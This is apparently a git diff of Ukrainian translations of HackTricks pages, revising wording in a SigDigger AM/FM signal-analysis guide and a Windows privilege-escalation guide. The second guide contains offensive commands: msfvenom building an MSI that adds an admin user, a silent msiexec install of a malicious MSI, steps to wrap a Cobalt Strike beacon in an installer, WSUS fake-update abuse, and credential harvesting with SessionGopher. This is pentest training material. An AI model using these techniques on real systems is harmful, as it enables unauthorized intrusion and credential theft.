- Зверніть увагу, що якщо інформація прихована в тому, що фаза змінюється, а не в самій фазі, ви не побачите чітко відрізнені різні фази.
|
||||
- **Виявлення AM**: Якщо на графіку IQ з'являються, наприклад, **2 кола** (можливо, одне в 0, а інше на іншій амплітуді), це може означати, що це AM сигнал. Це тому, що на графіку IQ відстань між 0 і колом є амплітудою сигналу, тому легко візуалізувати різні амплітуди, що використовуються.
|
||||
- **Виявлення PM**: Як на попередньому зображенні, якщо ви знайдете маленькі кола, які не пов'язані між собою, це, ймовірно, означає, що використовується фазова модуляція. Це тому, що на графіку IQ кут між точкою і 0,0 є фазою сигналу, тому це означає, що використовуються 4 різні фази.
|
||||
- Зверніть увагу, що якщо інформація прихована в тому, що фаза змінюється, а не в самій фазі, ви не побачите чітко різні фази.
|
||||
- **Виявлення FM**: IQ не має поля для ідентифікації частот (відстань до центру - це амплітуда, а кут - це фаза).\
|
||||
Тому, щоб ідентифікувати FM, ви повинні **лише бачити в основному коло** на цьому графіку.\
|
||||
Тому, щоб ідентифікувати FM, ви повинні **бачити в основному коло** на цьому графіку.\
|
||||
Більше того, інша частота "представляється" графіком IQ через **прискорення швидкості по колу** (тому в SysDigger, вибираючи сигнал, графік IQ заповнюється, якщо ви знайдете прискорення або зміну напрямку в створеному колі, це може означати, що це FM):
|
||||
|
||||
## Приклад AM
|
||||
## AM Example
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Виявлення AM
|
||||
### Uncovering AM
|
||||
|
||||
#### Перевірка обгортки
|
||||
#### Checking the envelope
|
||||
|
||||
Перевіряючи AM інформацію з [**SigDigger** ](https://github.com/BatchDrake/SigDigger)і просто дивлячись на **обгортку**, ви можете побачити різні чіткі рівні амплітуди. Використовуваний сигнал надсилає імпульси з інформацією в AM, ось як виглядає один імпульс:
|
||||
Перевіряючи AM інформацію з [**SigDigger** ](https://github.com/BatchDrake/SigDigger) і просто дивлячись на **обгортку**, ви можете побачити різні чіткі рівні амплітуди. Використовуваний сигнал надсилає імпульси з інформацією в AM, ось як виглядає один імпульс:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -78,7 +80,7 @@
|
||||
|
||||
.png>)
|
||||
|
||||
#### Перевірка гістограми
|
||||
#### Checking the Histogram
|
||||
|
||||
Ви можете **вибрати весь сигнал**, де знаходиться інформація, вибрати режим **Амплітуда** та **Вибір** і натиснути на **Гістограму**. Ви можете спостерігати, що 2 чіткі рівні лише знайдені
|
||||
|
||||
@ -88,38 +90,38 @@
|
||||
|
||||
.png>)
|
||||
|
||||
Якщо ви знайдете багато частот, це, ймовірно, не буде FM, можливо, частота сигналу просто була змінена через канал.
|
||||
Якщо ви знайдете багато частот, це, ймовірно, не буде FM, ймовірно, частота сигналу була просто змінена через канал.
|
||||
|
||||
#### З IQ
|
||||
#### With IQ
|
||||
|
||||
У цьому прикладі ви можете побачити, як є **велике коло**, але також **багато точок у центрі**.
|
||||
У цьому прикладі ви можете побачити, як є **велике коло**, але також **багато точок у центрі.**
|
||||
|
||||
.png>)
|
||||
|
||||
### Отримати символічну частоту
|
||||
### Get Symbol Rate
|
||||
|
||||
#### З одним символом
|
||||
#### With one symbol
|
||||
|
||||
Виберіть найменший символ, який ви можете знайти (щоб ви були впевнені, що це лише 1) і перевірте "Вибір частоти". У цьому випадку це буде 1.013kHz (тобто 1kHz).
|
||||
Виберіть найменший символ, який ви можете знайти (щоб ви були впевнені, що це лише 1) і перевірте "Selection freq". У цьому випадку це буде 1.013kHz (тобто 1kHz).
|
||||
|
||||
.png>)
|
||||
|
||||
#### З групою символів
|
||||
#### With a group of symbols
|
||||
|
||||
Ви також можете вказати кількість символів, які ви збираєтеся вибрати, і SigDigger розрахує частоту 1 символу (чим більше символів вибрано, тим краще, ймовірно). У цьому сценарії я вибрав 10 символів, і "Вибір частоти" становить 1.004 Khz:
|
||||
Ви також можете вказати кількість символів, які ви збираєтеся вибрати, і SigDigger розрахує частоту 1 символу (чим більше символів вибрано, тим краще, ймовірно). У цьому сценарії я вибрав 10 символів, і "Selection freq" становить 1.004 Khz:
|
||||
|
||||
.png>)
|
||||
|
||||
### Отримати біти
|
||||
### Get Bits
|
||||
|
||||
Знайшовши, що це **AM модуляційний** сигнал і **символічна частота** (і знаючи, що в цьому випадку щось вгору означає 1, а щось вниз означає 0), дуже легко **отримати біти**, закодовані в сигналі. Отже, виберіть сигнал з інформацією та налаштуйте дискретизацію та рішення, а потім натисніть зразок (перевірте, що **Амплітуда** вибрана, виявлена **Символічна частота** налаштована, а **Відновлення годинника Гаднера** вибрано):
|
||||
Знайшовши, що це **AM модуляційний** сигнал і **символьна частота** (і знаючи, що в цьому випадку щось up означає 1, а щось down означає 0), дуже легко **отримати біти**, закодовані в сигналі. Отже, виберіть сигнал з інформацією та налаштуйте дискретизацію та рішення, а потім натисніть зразок (перевірте, що **Амплітуда** вибрана, виявлена **Символьна частота** налаштована, а **Gadner clock recovery** вибрана):
|
||||
|
||||
.png>)
|
||||
|
||||
- **Синхронізація з вибраними інтервалами** означає, що якщо ви раніше вибрали інтервали для знаходження символічної частоти, ця символічна частота буде використана.
|
||||
- **Ручний** означає, що вказана символічна частота буде використана
|
||||
- У **Виборі фіксованого інтервалу** ви вказуєте кількість інтервалів, які повинні бути вибрані, і вона розраховує символічну частоту з цього
|
||||
- **Відновлення годинника Гаднера** зазвичай є найкращим варіантом, але вам все ще потрібно вказати приблизну символічну частоту.
|
||||
- **Sync to selection intervals** означає, що якщо ви раніше вибрали інтервали для знаходження символу частоти, ця символна частота буде використана.
|
||||
- **Manual** означає, що вказана символна частота буде використана
|
||||
- У **Fixed interval selection** ви вказуєте кількість інтервалів, які повинні бути вибрані, і вона розраховує символну частоту з цього
|
||||
- **Gadner clock recovery** зазвичай є найкращим варіантом, але вам все ще потрібно вказати приблизну символну частоту.
|
||||
|
||||
Натискаючи зразок, з'являється це:
|
||||
|
||||
@ -129,7 +131,7 @@
|
||||
|
||||
.png>)
|
||||
|
||||
Якщо б, наприклад, було **4 різних рівнів амплітуди**, вам потрібно було б налаштувати **Біти на символ 2** і вибрати від найменшого до найбільшого.
|
||||
Якщо б, наприклад, було **4 різні рівні амплітуди**, вам потрібно було б налаштувати **Біти на символ 2** і вибрати від найменшого до найбільшого.
|
||||
|
||||
Нарешті, **збільшуючи** **Масштаб** і **змінюючи розмір рядка**, ви можете побачити біти (і ви можете вибрати все та скопіювати, щоб отримати всі біти):
|
||||
|
||||
@ -137,15 +139,17 @@
|
||||
|
||||
Якщо сигнал має більше ніж 1 біт на символ (наприклад, 2), SigDigger **не має способу знати, який символ є** 00, 01, 10, 11, тому він використовуватиме різні **сірі відтінки**, щоб представити кожен (і якщо ви скопіюєте біти, він використовуватиме **числа від 0 до 3**, вам потрібно буде їх обробити).
|
||||
|
||||
Також використовуйте **кодування**, такі як **Манчестер**, і **підйом+спад** може бути **1 або 0**, а спад+підйом може бути 1 або 0. У таких випадках вам потрібно **обробити отримані підйоми (1) та спади (0)**, щоб замінити пари 01 або 10 на 0 або 1.
|
||||
Також використовуйте **кодування**, такі як **Манчестер**, і **up+down** може бути **1 або 0**, а down+up може бути 1 або 0. У таких випадках вам потрібно **обробити отримані ups (1) і downs (0)**, щоб замінити пари 01 або 10 на 0s або 1s.
|
||||
|
||||
## Приклад FM
|
||||
## FM Example
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Виявлення FM
|
||||
### Uncovering FM
|
||||
|
||||
#### Перевірка частот та форми хвилі
|
||||
#### Checking the frequencies and waveform
|
||||
|
||||
Приклад сигналу, що надсилає інформацію, модуляцію в FM:
|
||||
|
||||
@ -165,9 +169,9 @@
|
||||
|
||||
.png>)
|
||||
|
||||
#### Перевірка гістограми
|
||||
#### Checking the histogram
|
||||
|
||||
Перевіряючи частотну гістограму сигналу з інформацією, ви можете легко побачити 2 різні сигнали:
|
||||
Перевіряючи гістограму частот сигналу з інформацією, ви можете легко побачити 2 різні сигнали:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -179,20 +183,20 @@
|
||||
|
||||
.png>)
|
||||
|
||||
#### З IQ
|
||||
#### With IQ
|
||||
|
||||
IQ не має поля для ідентифікації частот (відстань до центру - це амплітуда, а кут - це фаза).\
|
||||
Тому, щоб ідентифікувати FM, ви повинні **лише бачити в основному коло** на цьому графіку.\
|
||||
Тому, щоб ідентифікувати FM, ви повинні **бачити в основному коло** на цьому графіку.\
|
||||
Більше того, інша частота "представляється" графіком IQ через **прискорення швидкості по колу** (тому в SysDigger, вибираючи сигнал, графік IQ заповнюється, якщо ви знайдете прискорення або зміну напрямку в створеному колі, це може означати, що це FM):
|
||||
|
||||
.png>)
|
||||
|
||||
### Отримати символічну частоту
|
||||
### Get Symbol Rate
|
||||
|
||||
Ви можете використовувати **ту ж техніку, що і в прикладі AM**, щоб отримати символічну частоту, як тільки ви знайдете частоти, що несуть символи.
|
||||
Ви можете використовувати **ту ж техніку, що і в прикладі AM**, щоб отримати символну частоту, як тільки ви знайдете частоти, що несуть символи.
|
||||
|
||||
### Отримати біти
|
||||
### Get Bits
|
||||
|
||||
Ви можете використовувати **ту ж техніку, що і в прикладі AM**, щоб отримати біти, як тільки ви **знайдете, що сигнал модуляційний у частоті** і **символічна частота**.
|
||||
Ви можете використовувати **ту ж техніку, що і в прикладі AM**, щоб отримати біти, як тільки ви **знайдете, що сигнал модуляційний у частоті** і **символьна частота**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -14,9 +14,9 @@
|
||||
access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
### ACLs - DACLs/SACLs/ACEs
|
||||
### ACL - DACL/SACL/ACE
|
||||
|
||||
**Перевірте наступну сторінку для отримання додаткової інформації про ACLs - DACLs/SACLs/ACEs:**
|
||||
**Перевірте наступну сторінку для отримання додаткової інформації про ACL - DACL/SACL/ACE:**
|
||||
|
||||
{{#ref}}
|
||||
acls-dacls-sacls-aces.md
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу шкідливої поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -167,11 +167,13 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
|
||||
Тоді, **це експлуатовано.** Якщо останній реєстр дорівнює 0, то запис WSUS буде проігноровано.
|
||||
|
||||
Для експлуатації цих вразливостей ви можете використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - це скрипти експлойтів MiTM, які дозволяють ввести 'фальшиві' оновлення в трафік WSUS без SSL.
|
||||
Для експлуатації цих вразливостей ви можете використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - це зброя MiTM, що використовує експлойти для ін'єкції 'фальшивих' оновлень у трафік WSUS без SSL.
|
||||
|
||||
Прочитайте дослідження тут:
|
||||
|
||||
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
@ -182,11 +184,11 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
>
|
||||
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу trust-on-first-use на сертифікат. Якщо сертифікат, що подається, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
|
||||
|
||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (коли він буде звільнений).
|
||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (як тільки він буде звільнений).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||
В **локальному підвищенні привілеїв** існує вразливість у середовищах **домену** Windows за певних умов. Ці умови включають середовища, де **підпис LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||
|
||||
Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -208,27 +210,27 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
||||
|
||||
### PowerUP
|
||||
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
Просто виконайте створений бінар для ескалації привілеїв.
|
||||
Просто виконайте створений бінар для підвищення привілеїв.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
Прочитайте цей посібник, щоб дізнатися, як створити MSI обгортку за допомогою цих інструментів. Зверніть увагу, що ви можете обгорнути файл "**.bat**", якщо ви **просто** хочете **виконати** **командні рядки**.
|
||||
Прочитайте цей посібник, щоб дізнатися, як створити MSI обгортку за допомогою цих інструментів. Зверніть увагу, що ви можете обернути файл "**.bat**", якщо ви **просто** хочете **виконати** **командні рядки**.
|
||||
|
||||
{{#ref}}
|
||||
msi-wrapper.md
|
||||
{{#endref}}
|
||||
|
||||
### Create MSI with WIX
|
||||
### Створення MSI з WIX
|
||||
|
||||
{{#ref}}
|
||||
create-msi-with-wix.md
|
||||
{{#endref}}
|
||||
|
||||
### Create MSI with Visual Studio
|
||||
### Створення MSI з Visual Studio
|
||||
|
||||
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** в `C:\privesc\beacon.exe`
|
||||
- Відкрийте **Visual Studio**, виберіть **Створити новий проект** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Далі**.
|
||||
@ -243,9 +245,9 @@ create-msi-with-wix.md
|
||||
- Нарешті, **зберіть його**.
|
||||
- Якщо з'явиться попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64.
|
||||
|
||||
### MSI Installation
|
||||
### Встановлення MSI
|
||||
|
||||
Щоб виконати **встановлення** шкідливого `.msi` файлу у **фоновому режимі:**
|
||||
Щоб виконати **встановлення** шкідливого файлу `.msi` у **фоновому режимі:**
|
||||
```
|
||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
@ -255,7 +257,7 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
|
||||
### Налаштування аудиту
|
||||
|
||||
Ці налаштування визначають, що **реєструється**, тому вам слід звернути на це увагу.
|
||||
Ці налаштування визначають, що **реєструється**, тому вам слід звернути увагу
|
||||
```
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||||
```
|
||||
@ -267,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -289,7 +291,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard** був представлений у **Windows 10**. Його мета - захистити облікові дані, збережені на пристрої, від загроз, таких як атаки pass-the-hash. | [**Більше інформації про Credentials Guard тут.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** був представлений у **Windows 10**. Його мета - захистити облікові дані, збережені на пристрої, від загроз, таких як атаки pass-the-hash.| [**Більше інформації про Credentials Guard тут.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
@ -358,8 +360,8 @@ powershell -command "Get-Clipboard"
|
||||
|
||||
### Дозволи на файли та папки
|
||||
|
||||
По-перше, при переліку процесів **перевірте наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінарем для експлуатації можливих [**DLL Hijacking атак**](dll-hijacking/index.html):
|
||||
Перш за все, перерахування процесів **перевіряє наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінарний файл** або чи маєте ви права на запис у папці з бінарними файлами для експлуатації можливих [**DLL Hijacking атак**](dll-hijacking/index.html):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -475,7 +477,7 @@ net stop [service name] && net start [service name]
|
||||
### Слабкі дозволи бінарних файлів служб
|
||||
|
||||
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **права на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) та перевірити свої дозволи за допомогою **icacls**:
|
||||
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) та перевірити свої дозволи, використовуючи **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
|
||||
@ -487,7 +489,7 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||||
```
|
||||
### Служби реєстру змінити дозволи
|
||||
### Служби реєстру змінюють дозволи
|
||||
|
||||
Вам слід перевірити, чи можете ви змінити будь-який реєстр служби.\
|
||||
Ви можете **перевірити** свої **дозволи** над реєстром **служби**, виконавши:
|
||||
@ -593,7 +595,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
```
|
||||
### Запуск при старті
|
||||
|
||||
**Перевірте, чи можете ви перезаписати деякі реєстраційні або бінарні файли, які будуть виконані іншим користувачем.**\
|
||||
**Перевірте, чи можете ви перезаписати деякі реєстри або бінарні файли, які будуть виконані іншим користувачем.**\
|
||||
**Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **місця автозапуску для ескалації привілеїв**:
|
||||
|
||||
{{#ref}}
|
||||
@ -616,7 +618,7 @@ driverquery /SI
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Для отримання додаткової інформації про те, як зловживати цим перевірте:
|
||||
Для отримання додаткової інформації про те, як зловживати цим перевіркою:
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
@ -727,7 +729,7 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
|
||||
|
||||
### DPAPI
|
||||
|
||||
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовуваний в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи для значного внеску в ентропію.
|
||||
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовуваний в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи, щоб значно сприяти ентропії.
|
||||
|
||||
**DPAPI дозволяє шифрування ключів за допомогою симетричного ключа, який отримується з секретів входу користувача**. У сценаріях, що стосуються шифрування системи, він використовує секрети аутентифікації домену системи.
|
||||
|
||||
@ -800,7 +802,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
### AppCmd.exe
|
||||
|
||||
**Зверніть увагу, що для відновлення паролів з AppCmd.exe вам потрібно бути адміністратором і працювати під високим рівнем цілісності.**\
|
||||
**AppCmd.exe** знаходиться в каталозі `%systemroot%\system32\inetsrv\`.\
|
||||
**AppCmd.exe** знаходиться в каталозі `%systemroot%\system32\inetsrv\` .\
|
||||
Якщо цей файл існує, то можливо, що деякі **облікові дані** були налаштовані і можуть бути **відновлені**.
|
||||
|
||||
Цей код був витягнутий з [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||||
@ -914,7 +916,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
> [!NOTE]
|
||||
> Схоже, що ця техніка більше не дійсна. Я намагався створити кілька ssh ключів, додати їх за допомогою `ssh-add` і увійти через ssh на машину. Реєстр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час аутентифікації асиметричного ключа.
|
||||
> Схоже, що ця техніка більше не дійсна. Я намагався створити кілька ssh ключів, додати їх за допомогою `ssh-add` і увійти через ssh на машину. Реєстр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час асиметричної аутентифікації ключа.
|
||||
|
||||
### Unattended files
|
||||
```
|
||||
@ -976,9 +978,9 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені у вигляді XML-файлів у SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
|
||||
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені як XML файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
|
||||
|
||||
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP-файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості безпеки.
|
||||
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості в безпеці.
|
||||
|
||||
Шукайте в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли:
|
||||
|
||||
@ -1209,7 +1211,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять паролі, згадані на цій сторінці.\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) є ще одним чудовим інструментом для витягування паролів з системи.
|
||||
|
||||
Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **сесії**, **імена користувачів** та **паролі** кількох інструментів, які зберігають ці дані у відкритому тексті (PuTTY, WinSCP, FileZilla, SuperPuTTY та RDP).
|
||||
Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **сесії**, **імена користувачів** та **паролі** кількох інструментів, які зберігають ці дані у відкритому тексті (PuTTY, WinSCP, FileZilla, SuperPuTTY та RDP)
|
||||
```bash
|
||||
Import-Module path\to\SessionGopher.ps1;
|
||||
Invoke-SessionGopher -Thorough
|
||||
@ -1227,11 +1229,11 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
|
||||
Спільні сегменти пам'яті, відомі як **трубопроводи**, дозволяють процесам спілкуватися та передавати дані.
|
||||
|
||||
Windows надає функцію під назвою **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих трубопроводів** та **клієнт іменованих трубопроводів**.
|
||||
Windows надає функцію під назвою **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер трубопроводу** та **клієнт трубопроводу**.
|
||||
|
||||
Коли дані надсилаються через трубопровід клієнтом, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||
Коли дані надсилаються через трубопровід **клієнтом**, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||
|
||||
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованого трубопроводу за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі трубопроводи для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
